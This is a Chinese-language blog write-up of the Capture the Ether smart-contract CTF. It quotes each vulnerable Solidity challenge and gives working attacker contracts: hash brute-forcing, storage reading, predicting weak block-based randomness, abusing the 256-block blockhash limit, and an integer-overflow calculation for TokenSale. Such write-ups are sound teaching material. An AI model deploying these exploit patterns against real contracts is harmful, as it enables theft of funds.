# Capture the ether

By [Banana69](https://paragraph.com/@banana69) · 2022-03-23

---

### Guess the secret number

    pragma solidity ^0.4.21;
    
    contract GuessTheSecretNumberChallenge {
        bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    
        function GuessTheSecretNumberChallenge() public payable {
            require(msg.value == 1 ether);
        }
        
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
    
        function guess(uint8 n) public payable {
            require(msg.value == 1 ether);
    
            if (keccak256(n) == answerHash) {
                msg.sender.transfer(2 ether);
            }
        }
    }
    

这道题目需要猜一个uint8的变量经过keccak256后的值与answerHash相等，由于uint8的范围是0-255，所以写一个爆破的智能合约就可以解出最后的答案

    //爆破合约
    contract crack {
        bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
        uint8 public result;
       function crackresult() returns (uint8) {
         for (uint8 i = 0; i <= 255; i++) {
             if (keccak256(i) == answerHash) {
                 result = i;
                 return i;
             }
         }
    }
    }
    //result = 170
    

### Guess the random number

    pragma solidity ^0.4.21;
    
    contract GuessTheRandomNumberChallenge {
        uint8 answer;
    
        function GuessTheRandomNumberChallenge() public payable {
            require(msg.value == 1 ether);
            answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        }
    
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
    
        function guess(uint8 n) public payable {
            require(msg.value == 1 ether);
    
            if (n == answer) {
                msg.sender.transfer(2 ether);
            }
        }
    }
    

这道题中的answer在构造函数中进行了初始化，所以根据solidity的存储结构，变量answer的值被存储在slot0中，此时的answer作为状态变量存储在storage中，所以可以使用web3js在微storage中读取

    web3.js.getStorageAt("contract Address", 0, console.log)
    

### Guess the new number

    pragma solidity ^0.4.21;
    
    contract GuessTheNewNumberChallenge {
        function GuessTheNewNumberChallenge() public payable {
            require(msg.value == 1 ether);
        }
    
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
    
        function guess(uint8 n) public payable {
            require(msg.value == 1 ether);
            uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    
            if (n == answer) {
                msg.sender.transfer(2 ether);
            }
        }
    }
    
    contract attacker {
        function attack() public payable {
            uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
            GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x4779f53F8141Ab6Aa7414CAB3A2184Cc4c32C56A);
            target.guess.value(1 ether)(result);
        }
    
        function () public payable {
        }
    }
    

这道题需要获取到前一个区块的hash与当前的时间戳，由于每个区块包含很多个交易，而同一个区块的交易的前一个区块hash与时间戳都是相等的，所以可以通过部署另一个合约，从该合约调用目标合约中的guess函数使这俩个交易在一个块内。

### predict the future

    pragma solidity ^0.4.21;
    
    contract PredictTheFutureChallenge {
        address guesser;
        uint8 guess;
        uint256 settlementBlockNumber;
    
        function PredictTheFutureChallenge() public payable {
            require(msg.value == 1 ether);
        }
    
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
    
        function lockInGuess(uint8 n) public payable {
            require(guesser == 0);
            require(msg.value == 1 ether);
            guesser = msg.sender;
            guess = n;
            settlementBlockNumber = block.number + 1;
        }
    
        function settle() public {
            require(msg.sender == guesser);
            require(block.number > settlementBlockNumber);
            uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
            guesser = 0;
            if (guess == answer) {
                msg.sender.transfer(2 ether);
            }
        }
    }
    

这道题生成随机数的方式与上一题相同，不同点在于需要在`lockInGuess`函数处输入guess的值，然后`settlementBlockNumber`函数限制了在`settle()`函数中生成hash的块必须在`lockInGuess`块之后，所以无法直接调用`settle()`函数，由于最后获取hash值的方法为模10运算，因此answer的范围是0-9，因此可以利用爆破的方法来解决这道题。

思路：

*   由于题目中锁定用户用的是`msg.sender`,所以需要部署一个攻击合约来随便猜一个数字，首先在攻击合约中调用`lockInGuess`函数，将猜的数字作为该函数的参数发送。
    
*   调用攻击合约中的爆破函数计算hash值与上一步猜的数字是否相等，当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数，以免guesser被清零。
    

攻击合约：

    contract attacker {
        PredictTheFutureChallenge target;
        uint public result;
        function attacker() public payable {
            target = PredictTheFutureChallenge(0x1B67a75C3A4754d2586697722C36f181B7b82f5d);
            target.lockInGuess.value(1 ether)(8);
        }
        
        function exploit() public payable {
            result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
                if (result == 8) {
                target.settle();
            }
        }
        function () public payable {
        }
    }
    

### Predict the block hash

    pragma solidity ^0.4.21;
    
    contract PredictTheBlockHashChallenge {
        address guesser;
        bytes32 guess;
        uint256 settlementBlockNumber;
    
        function PredictTheBlockHashChallenge() public payable {
            require(msg.value == 1 ether);
        }
    
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
    
        function lockInGuess(bytes32 hash) public payable {
            require(guesser == 0);
            require(msg.value == 1 ether);
            guesser = msg.sender;
            guess = hash;
            settlementBlockNumber = block.number + 1;
        }
    
        function settle() public {
            require(msg.sender == guesser);
            require(block.number > settlementBlockNumber);
            bytes32 answer = block.blockhash(settlementBlockNumber);
            guesser = 0;
            if (guess == answer) {
                msg.sender.transfer(2 ether);
            }
        }
    }
    

这道题与上一题基本类似，不一样的地方在于需要猜当前块的 hash，但是对于`block.blockhash`这个函数，可以获取给定区块号的 **hash** 值，但只支持最近的 256 个区块，对于 256 个区块之外的区块，`block.blockhash`函数都将返回 0，所以可以先传递 `guess`为 0，然后等待 256 个区块再调用`settle`函数即可，具体代码如下：

    pragma solidity ^0.4.21;
    
    contract PredictTheBlockHashChallenge {
        address guesser;
        bytes32 guess;
        uint256 settlementBlockNumber;
    
        function PredictTheBlockHashChallenge() public payable {
            require(msg.value == 1 ether);
        }
    
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
    
        function lockInGuess(bytes32 hash) public payable {
            require(guesser == 0);
            require(msg.value == 1 ether);
    
            guesser = msg.sender;
            guess = hash;
            settlementBlockNumber = block.number + 1;
        }
    
        function settle() public {
            require(msg.sender == guesser);
            require(block.number > settlementBlockNumber);
    
            bytes32 answer = block.blockhash(settlementBlockNumber);
    
            guesser = 0;
            if (guess == answer) {
                msg.sender.transfer(2 ether);
            }
        }
    }
    
    contract attacker {
    
        PredictTheBlockHashChallenge target;
        uint public result;
        uint public num;
        function attacker() public payable {
            target = PredictTheBlockHashChallenge(0xCF221473d9F6Ae7b95D47710776f5e7733C745F3);
            target.lockInGuess.value(1 ether)(0);
            num = block.number
        }
        function exploit() public payable {
                        if(block.number - num > 256) {
                    target.settle();
        }
        }
        function () public payable {
    
        }
    }
    

### Token Sale

    pragma solidity ^0.4.21;
    
    contract TokenSaleChallenge {
    //题目中定义了一个虚拟代币，通过mapping来追踪地址的代币数额
        mapping(address => uint256) public balanceOf;
        uint256 constant PRICE_PER_TOKEN = 1 ether;
    //和合约同名的构造函数，要求合约的初始余额为1 ether，
        function TokenSaleChallenge(address _player) public payable {
            require(msg.value == 1 ether);
        }
    //判断完成的条件要求合约中的余额小于 1 ether
        function isComplete() public view returns (bool) {
            return address(this).balance < 1 ether;
        }
    //定义了买入token的方法，买入后更新mapping
        function buy(uint256 numTokens) public payable {
            require(msg.value == numTokens * PRICE_PER_TOKEN);
            balanceOf[msg.sender] += numTokens;
        }
    //定义了卖出token的方法
        function sell(uint256 numTokens) public {
            require(balanceOf[msg.sender] >= numTokens);
            balanceOf[msg.sender] -= numTokens;
            msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
        }
    }
    

首先分析题目，题目中定义了一个虚拟代币，通过mapping来追踪地址的代币数额，`TokenSaleChallenge` 是和合约同名的构造函数，要求合约的初始余额为1 ether，当合约中的余额小于1 ether时完成题目。

由于买入多少币才能卖出多少币，所以如果想要能转出的买入的更多，就要求在买入的时候上溢，恰好这个合约没有safemath，存在溢出漏洞。

当买入的 token 小于 卖出的token 时可以利用溢出漏洞达到完成条件。

在`buy`函数中的的 判断`require(msg.value == numTokens * PRICE_PER_TOKEN);`，造成溢出需要当`msg.value`足够小，`numTokens`足够大，而 `PRICE_PER_TOKEN ==1 ether=10^18 wei`，所以当`numTokens * 10^18 >= 2^256`时会上溢出

    // msg.value == numTokens * PRICE_PER_TOKEN
    计算刚好造成上溢出的 numToken
    //这里不加1的话计算出来的msg.value会非常大无法发送（115792089237316195423570985008687907853269984665640564039457000000000000000000）
    numTokens = 2^256/(10^18) + 1 = 115792089237316195423570985008687907853269984665640564039458
    msg.value = numTokens * 10^18 % (2^256) = 415992086870360064 wei
    

因为需要以`wei`为单位发送 ether，所以需要在 Remix 中部署合约，调用`buy` 函数相当于以较小的`msg.value`获取到了大量的`token`,而这些`token`可以在`sell`函数中能够以 1 ether 的兑换率被转出， 就相当于以 0.4 ether 充值了相当于 1 ther 的`token`最后将这些`token`卖出，合约中的余额就会减少 1 ether，就达成了完成的条件。

---

*Originally published on [Banana69](https://paragraph.com/@banana69/capture-the-ether)*
